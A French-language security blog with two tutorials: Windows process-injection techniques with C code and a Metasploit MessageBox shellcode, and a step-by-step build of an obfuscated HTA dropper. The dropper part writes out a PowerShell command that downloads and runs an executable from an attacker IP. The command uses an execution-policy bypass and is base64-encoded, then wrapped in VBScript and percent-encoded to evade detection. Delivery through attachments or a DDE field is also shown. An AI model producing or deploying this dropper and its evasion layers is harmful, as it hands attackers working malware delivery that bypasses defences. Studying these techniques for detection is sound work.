Revue des techniques d’injection de code sous Windows

L’injection de code n’est pas un sujet nouveau mais cela reste intéressant car :

  • il n’y a pas une seule mais de multiples techniques d’injection de code
  • ces techniques sont toujours utilisées dans de nombreux malwares
  • je me suis aperçu que pas mal de gens en sécurité ne connaissent pas bien ce sujet.

Alors qu’est-ce que l’injection de code et à quoi ça sert ?

L’injection de code mémoire consiste à insérer un programme dans un processus Windows en cours d’exécution.

Mais pourquoi faire ?

Comme tout malware qui se respecte le but est de rester discret donc utiliser un programme déjà en mémoire c’est royal.
En effet imaginons qu’un outil de type « application whitelisting » sur un poste de travail n’autorise qu’une liste bien précise de processus à sortir sur Internet. L’injection de code dans un processus autorisé va justement permettre de passer cette barrière infranchissable.

Par ailleurs une fois l’injection de code réussie, il est possible de détourner les appels systèmes réalisés par le processus infecté. C’est de cette façon que font par exemple certains malwares pour intercepter discrètement les requêtes web (même en HTTPS).
Bref vous l’avez compris, l’injection de code pour un malware c’est top 🙁

Comment est-ce possible ?

C’est là le drame, Windows ne filtre pas nativement les accès fait aux différents processus, ce qui permet l’allocation d’une zone mémoire dans le processus cible par le processus attaquant.
Alors certes la plupart des solutions anti-malwares détectent ces techniques d’injection de bases mais pas toutes.

Alors commençons par la base.

La technique la plus connue est certainement celle employant le trio d’appels système Windows suivant :

VirtualAllocEx / WriteProcessMemory / CreateRemoteThread

Qu’est-ce que ce charabia ?

Cette technique repose sur le fait qu’il est possible d’allouer de la mémoire (VirtualAllocEx), d’écrire dans un processus (WriteProcessMemory) et d’y exécuter un thread (CreateRemoteThread).

Plusieurs façons de procéder :

1) Injection d’une DLL 

Dans ce cas on n’injecte pas du code directement mais le chemin d’une DLL malveillante que l’on exécute.

Au niveau programmation, cela se présente de la forme suivante :

LPCSTR DllPath = "Ici se trouve le chemin vers la DLL à exécuter";
int PID = pid_processus_cible // Ici on inscrit le numéro du processus cible
// On ouvre le processus cible
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
// On alloue de la mémoire dans le processus cible.
// La taille demandée correspond à la longueur de la chaîne de caractères du chemin complet de la DLL augmenté de 1 pour le caractère fin de chaîne.
LPVOID pDllPath = VirtualAllocEx(hProcess, 0, strlen(DllPath) + 1,
MEM_COMMIT, PAGE_READWRITE);
// On écrit le chemin de la DLL dans le processus cible
WriteProcessMemory(hProcess, pDllPath, (LPVOID)DllPath,
strlen(DllPath) + 1, 0);
// On y est. 
// On crée un thread dans le process cible avec comme adresse mémoire celle de la DLL à faire exécuter par la fonction LoadLibray et le tour est joué
HANDLE hLoadThread = CreateRemoteThread(hProcess, 0, 0,
(LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("Kernel32.dll"),
"LoadLibraryA"), pDllPath, 0, 0);

Ci-joint un screenshot montrant l’injection d’une DLL affichant un message « Hello from testlib » dans le programme Notepad++ :

https://github.com/kahlon81/Process-Injection-DLL

2) Injection d’un programme complet (code assembleur)

Dans ce cas on injecte vraiment du code sous la forme de code assembleur.

Au niveau programmation, cela se présente de la façon suivante :

On met le code à injecter dans une chaîne de caractères contenant les opcodes en hexadécimal du code assembleur. Par exemple, ci-dessous on a le code assembleur d’un MessageBox issu de l’outil Metasploit :

// Metasploit Messagebox 
char shellcode[] = "\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a\x89\xe3\x68\x58\x20\x20\x20\x68\x4d\x53\x46\x21\x68\x72\x6f\x6d\x20\x68\x6f\x2c\x20\x66\x68\x48\x65\x6c\x6c\x31\xc9\x88\x4c\x24\x10\x89\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08";
// On ouvre le processus cible
proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 7356);
// On alloue de la mémoire dans le processus cible, la taille allouée correspond à la taille du code injecté
shell = VirtualAllocEx(proc, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
// On écrit le code dans le processus cible
WriteProcessMemory(proc, shell, shellcode, sizeof(shellcode), &total);
// On exécute le code
s = CreateRemoteThread(proc, NULL, 0, (LPTHREAD_START_ROUTINE)shell, NULL, 0, 0)

Ci-joint un screenshot montrant l’injection de ce code dans Notepad++, celui-ci affichant un message « Hello, from MSF » :

https://github.com/kahlon81/Process-Injection-ASM

3) Technique dite « Reflective DLL »

Les deux techniques précédentes utilisent un appel à la fonction WriteProcessMemory, ce qui est facile à tracer par les outils anti-malwares, par conséquent ces techniques d’injection ne sont plus trop utilisées.
Une autre technique a vu le jour il y a quelques temps (utilisée par exemple par le botnet Andromeda) est justement de ne plus faire appel à la fonction WriteProcessMemory . L’idée est de créer une « section » (un programme Windows est composé de plusieurs sections) et de mapper cette section dans l’espace mémoire du processus courant et dans celui du processus cible. Ce n’est pas sans difficulté car on ne connait pas à l’avance à quelle adresse mémoire sera positionnée la nouvelle section, il sera donc nécessaire de « reloger » (déplacer) le code, ce qui veut dire recalculer les sauts d’adresses écrits en absolus. Bref, c’est plus compliqué mais ça fonctionne bien et surtout plus besoin du WriteProcessMemory !

Au niveau programmation, prenons l’exemple de la calculatrice Windows dans laquelle nous voulons injecter le code suivant :

MessageBoxA(NULL, "Code injection demo.", "pentester.blog", MB_ICONINFORMATION);

L’intégralité du code d’injection est un peu trop long à publier alors je me limite aux principaux appels :

// On suspend le processus cible (la calculette dans notre exemple)
CreateProcessW(NULL, ImagePath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &StartupInfo, &ProcessInfo)
// On crée la section
NtCreateSection(&SectionHandle, SECTION_MAP_EXECUTE | SECTION_MAP_READ | SECTION_MAP_WRITE, NULL, &SectionMaxSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
// On map la section dans le processus cible
NtMapViewOfSection(SectionHandle, ProcessHandle, &RemoteAddress, NULL, NULL, NULL, &ViewSize, 2, NULL, PAGE_EXECUTE_READWRITE);
// La section cible est un miroir de notre section locale. 
// Toute modification dans la section locale affectera automatiquement la section cible
memcpy(LocalAddress, (LPVOID)OurBaseAddress, NtHeaders->OptionalHeader.SizeOfImage);
// On reloge le code à l'adresse RemoteAddress
RelocatePE((PBYTE)LocalAddress, RemoteAddress);
// On remet le processus à l'état normal (il était suspendu)
ResumeThread(ProcessInfo.hThread)

Ci-joint une capture écran de l’injection de code d’un MessageBox dans la calculatrice Windows :

https://github.com/kahlon81/Process-Injection-Reflective-DLL

Voila vous avez maintenant les bases de l’injection de code dans les processus Windows. Vous retrouverez sous peu sur mon Github l’ensemble des codes sources des exemples.

Pour ceux qui veulent aller plus loin, sachez que les auteurs de malwares ne manquent pas d’imagination pour échapper aux anti-malwares comme par exemple écrire octet par octet le code à injecter plutôt que d’envoyer un buffer complet ou bien ne pas envoyer des opcodes assembleur Intel mais envoyer un bytecode propriétaire (un nouveau langage en somme)…

Récupération et exécution d’un malware via un fichier HTA

L’objet de cet article est de montrer une technique couramment utilisée dans les malwares Microsoft Office (attaque DDE par exemple) pour télécharger et exécuter un malware via un fichier HTA.

Mais au fait qu’est-ce qu’un fichier HTA ?

Un fichier .HTA est un fichier « HTML Application », une application exécutée par le navigateur Web Internet Explorer. Le composant responsable de l’exécution des fichiers HTA est mshta.exe présent dans Windows depuis la nuit des temps.

Au départ on a donc un script Powershell dont le but est de télécharger le malware puis de l’exécuter, rien de très compliqué.

Ce qui est intéressant ce sont les techniques d’obfuscation utilisées pour passer au travers des radars.

Prenons l’exemple suivant où le serveur de l’attaquant a pour adresse IP 192.168.1.32 et où le malware est un exécutable nommé ici msvss.exe. Notez au passage l’utilisation d’un mixte entre minuscule et majuscule, ce n’est pas pour le fun mais pour faire barrage à du pattern-matching :

powershell.exe -ExeCUtIonPolIcY bypass -noprofile -windowstyle minimized -command (New-Object System.Net.WebClient).DownloadFile(‘http://192.168.1.32/msvss.exe’,’D:\msvss.exe’); Start-Process(‘D:\msvss.exe’)

La première chose à faire est d’encoder la commande. Si on reprend cet exemple la commande à encoder est celle-ci :

(New-Object System.Net.WebClient).DownloadFile(‘http://192.168.1.32/msvss.exe’,’D:\msvss.exe’); Start-Process(‘D:\msvss.exe’)

Powershell gèrant nativement le décodage Base64, il suffit de quelques lignes de code pour encoder cette commande en Base64 :

$commands = « (New-Object System.Net.WebClient).DownloadFile(‘http://192.168.1.21/msvss.exe’,’D:\msvss.exe’); Start-Process(‘D:\msvss.exe’) »
$bytes = [System.Text.Encoding]::Unicode.GetBytes($commands) $encodedString = [Convert]::ToBase64String($bytes)
echo $encodedString

En sortie on obtient la longue chaine de caractères suivante :

KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADMAMgAvAG0AcwB2AHMAcwAuAGUAeABlACcALAAnAEQAOgBcAG0AcwB2AHMAcwAuAGUAeABlACcAKQA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAoACcARAA6AFwAbQBzAHYAcwBzAC4AZQB4AGUAJwApAA==

Il suffit de passer cette chaine de caractère au paramètre EncodedCommand de Powershell et le tour est joué :

powershell.exe -ExeCUtIonPolIcY bypass -noprofile -windowstyle minimized -ENCodedcOMMANd KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADMAMgAvAG0AcwB2AHMAcwAuAGUAeABlACcALAAnAEQAOgBcAG0AcwB2AHMAcwAuAGUAeABlACcAKQA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAoACcARAA6AFwAbQBzAHYAcwBzAC4AZQB4AGUAJwApAA==

La commande powershell étant encodée, maintenant l’idée est d’embarquer ce powershell dans un document HTML.

Ce que l’on voit souvent, c’est l’utilisation d’un script VBScript car ce language permet la création d’objets, dont Powershell…

On obtient donc ceci :

<!DOCTYPE html>
<meta http-equiv= »x-ua-compatible » content= »ie=emulateie8″ >
<html>
<body>
<script language= »vbscript »>
Dim KHALON81
Dim kkk
SeT KHALON81 = createobject ( « wscrIPt.sHELl » )
kkk = « powershell.exe -ExeCUtIonPolIcY bypass -noprofile -windowstyle minimized -ENCodedcOMMANd KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADMAMgAvAG0AcwB2AHMAcwAuAGUAeABlACcALAAnAEQAOgBcAG0AcwB2AHMAcwAuAGUAeABlACcAKQA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAoACcARAA6AFwAbQBzAHYAcwBzAC4AZQB4AGUAJwApAA== »
KHALON81.RUN(kkk)
SEt KHALON81 = NOTHInG
</script>
</body>
</html>

C’est pas mal mais on voit qu’il y a du Powershell.

Continuons l’obfuscation en utilisant la technique du « Percent Encoding » sur l’intégralité du code HTML. Attention, de base le « Percent Encoding » n’encode pas les caractères ASCII classiques, les  » Unreserved Characters » ce qui implique qu’une partie du code restera non obfusquée comme les mots-clefs « script », « powershell », ce qui est facheux.

Il nous faut donc un outil de « Percent Encoding » capable d’encoder tous les caractères, c’est le cas de cet outil en ligne :

http://2tap.com/javascript-percent-encoder/

On copie colle tout le code HTML précédent et obtient en sortie le code suivant :

%3c%21%44%4f%43%54%59%50%45%20%68%74%6d%6c%3e%20%3c%6d%65%74%61%20%68%74%74%70%2d%65%71%75%69%76%3d%22%78%2d%75%61%2d%63%6f%6d%70%61%74%69%62%6c%65%22%20%63%6f%6e%74%65%6e%74%3d%22%69%65%3d%65%6d%75%6c%61%74%65%69%65%38%22%20%3e%20%3c%68%74%6d%6c%3e%20%3c%62%6f%64%79%3e%20%3c%73%63%72%69%70%74%20%6c%61%6e%67%75%61%67%65%3d%22%76%62%73%63%72%69%70%74%22%3e%20%44%69%6d%20%4b%48%41%4c%4f%4e%38%31%20%44%69%6d%20%6b%6b%6b%20%53%65%54%20%4b%48%41%4c%4f%4e%38%31%20%3d%20%63%72%65%61%74%65%6f%62%6a%65%63%74%20%28%20%22%77%73%63%72%49%50%74%2e%73%48%45%4c%6c%22%20%29%20%6b%6b%6b%20%3d%20%22%70%6f%77%65%72%73%68%65%6c%6c%2e%65%78%65%20%2d%45%78%65%43%55%74%49%6f%6e%50%6f%6c%49%63%59%20%62%79%70%61%73%73%20%2d%6e%6f%70%72%6f%66%69%6c%65%20%2d%77%69%6e%64%6f%77%73%74%79%6c%65%20%6d%69%6e%69%6d%69%7a%65%64%20%2d%45%4e%43%6f%64%65%64%63%4f%4d%4d%41%4e%64%20%4b%41%42%4f%41%47%55%41%64%77%41%74%41%45%38%41%59%67%42%71%41%47%55%41%59%77%42%30%41%43%41%41%55%77%42%35%41%48%4d%41%64%41%42%6c%41%47%30%41%4c%67%42%4f%41%47%55%41%64%41%41%75%41%46%63%41%5a%51%42%69%41%45%4d%41%62%41%42%70%41%47%55%41%62%67%42%30%41%43%6b%41%4c%67%42%45%41%47%38%41%64%77%42%75%41%47%77%41%62%77%42%68%41%47%51%41%52%67%42%70%41%47%77%41%5a%51%41%6f%41%43%63%41%61%41%42%30%41%48%51%41%63%41%41%36%41%43%38%41%4c%77%41%78%41%44%6b%41%4d%67%41%75%41%44%45%41%4e%67%41%34%41%43%34%41%4d%51%41%75%41%44%4d%41%4d%67%41%76%41%47%30%41%63%77%42%32%41%48%4d%41%63%77%41%75%41%47%55%41%65%41%42%6c%41%43%63%41%4c%41%41%6e%41%45%51%41%4f%67%42%63%41%47%30%41%63%77%42%32%41%48%4d%41%63%77%41%75%41%47%55%41%65%41%42%6c%41%43%63%41%4b%51%41%37%41%43%41%41%55%77%42%30%41%47%45%41%63%67%42%30%41%43%30%41%55%41%42%79%41%47%38%41%59%77%42%6c%41%48%4d%41%63%77%41%6f%41%43%63%41%52%41%41%36%41%46%77%41%62%51%42%7a%41%48%59%41%63%77%42%7a%41%43%34%41%5a%51%42%34%41%47%55%41%4a%77%41%70%41%41%3d%3d%22%20%4b%48%41%4c%4f%4e%38%31%2e%52%55%4e%28%6b%6b%6b%29%20%20%53%45%74%20%4b%48%41%4c%4f%4e%38%31%20%3d%20%4e%4f%54%48%49%6e%47%20%3c%2f%73%63%72%69%70%74%3e%20%3c%2f%62%6f%64%79%3e%20%3c%2f%68%74%6d%6c%3e

Là c’est pas mal, on arrive à l’étape finale, la création du fichier HTA.

Ce fichier HTA est simplement du code HTML contenant un script Javascript se chargeant de faire l’opération inverse, le décodage, le « unescape » :

<!DOCTYPE html>
<meta http-equiv= »x-ua-compatible » content= »ie=emulateie8″ >
<html>
<body>
<script language= »javascript »>
<!–
document.write(unescape(‘%3c%21%44%4f%43%54%59%50%45%20%68%74%6d%6c%3e%20%3c%6d%65%74%61%20%68%74%74%70%2d%65%71%75%69%76%3d%22%78%2d%75%61%2d%63%6f%6d%70%61%74%69%62%6c%65%22%20%63%6f%6e%74%65%6e%74%3d%22%69%65%3d%65%6d%75%6c%61%74%65%69%65%38%22%20%3e%20%3c%68%74%6d%6c%3e%20%3c%62%6f%64%79%3e%20%3c%73%63%72%69%70%74%20%6c%61%6e%67%75%61%67%65%3d%22%76%62%73%63%72%69%70%74%22%3e%20%44%69%6d%20%4b%48%41%4c%4f%4e%38%31%20%44%69%6d%20%6b%6b%6b%20%53%65%54%20%4b%48%41%4c%4f%4e%38%31%20%3d%20%63%72%65%61%74%65%6f%62%6a%65%63%74%20%28%20%22%77%73%63%72%49%50%74%2e%73%48%45%4c%6c%22%20%29%20%6b%6b%6b%20%3d%20%22%70%6f%77%65%72%73%68%65%6c%6c%2e%65%78%65%20%2d%45%78%65%43%55%74%49%6f%6e%50%6f%6c%49%63%59%20%62%79%70%61%73%73%20%2d%6e%6f%70%72%6f%66%69%6c%65%20%2d%77%69%6e%64%6f%77%73%74%79%6c%65%20%6d%69%6e%69%6d%69%7a%65%64%20%2d%45%4e%43%6f%64%65%64%63%4f%4d%4d%41%4e%64%20%4b%41%42%4f%41%47%55%41%64%77%41%74%41%45%38%41%59%67%42%71%41%47%55%41%59%77%42%30%41%43%41%41%55%77%42%35%41%48%4d%41%64%41%42%6c%41%47%30%41%4c%67%42%4f%41%47%55%41%64%41%41%75%41%46%63%41%5a%51%42%69%41%45%4d%41%62%41%42%70%41%47%55%41%62%67%42%30%41%43%6b%41%4c%67%42%45%41%47%38%41%64%77%42%75%41%47%77%41%62%77%42%68%41%47%51%41%52%67%42%70%41%47%77%41%5a%51%41%6f%41%43%63%41%61%41%42%30%41%48%51%41%63%41%41%36%41%43%38%41%4c%77%41%78%41%44%6b%41%4d%67%41%75%41%44%45%41%4e%67%41%34%41%43%34%41%4d%51%41%75%41%44%4d%41%4d%67%41%76%41%47%30%41%63%77%42%32%41%48%4d%41%63%77%41%75%41%47%55%41%65%41%42%6c%41%43%63%41%4c%41%41%6e%41%45%51%41%4f%67%42%63%41%47%30%41%63%77%42%32%41%48%4d%41%63%77%41%75%41%47%55%41%65%41%42%6c%41%43%63%41%4b%51%41%37%41%43%41%41%55%77%42%30%41%47%45%41%63%67%42%30%41%43%30%41%55%41%42%79%41%47%38%41%59%77%42%6c%41%48%4d%41%63%77%41%6f%41%43%63%41%52%41%41%36%41%46%77%41%62%51%42%7a%41%48%59%41%63%77%42%7a%41%43%34%41%5a%51%42%34%41%47%55%41%4a%77%41%70%41%41%3d%3d%22%20%4b%48%41%4c%4f%4e%38%31%2e%52%55%4e%28%6b%6b%6b%29%20%20%53%45%74%20%4b%48%41%4c%4f%4e%38%31%20%3d%20%4e%4f%54%48%49%6e%47%20%3c%2f%73%63%72%69%70%74%3e%20%3c%2f%62%6f%64%79%3e%20%3c%2f%68%74%6d%6c%3e’));
//–>
</script>
</body>
</html>

Voila c’est terminé, il n’y a plus qu’à l’enregistrer dans fichier au format .hta, par exemple un index.hta.

Vous imaginez la suite, ce fichier est envoyé dans des pièces jointes ou appelé dans fichier Word via une commande DDE du style {DDEAUTO c:\\windows\\system32\\mshta.exe ...}

A noter que ces attaques via DDE et autres sur Microsoft Office sont détectées et bloquées sous Windows 10 grâce à la fonctionnalité ASR (Attack Surface Redution) qui empêche la création de processus enfant.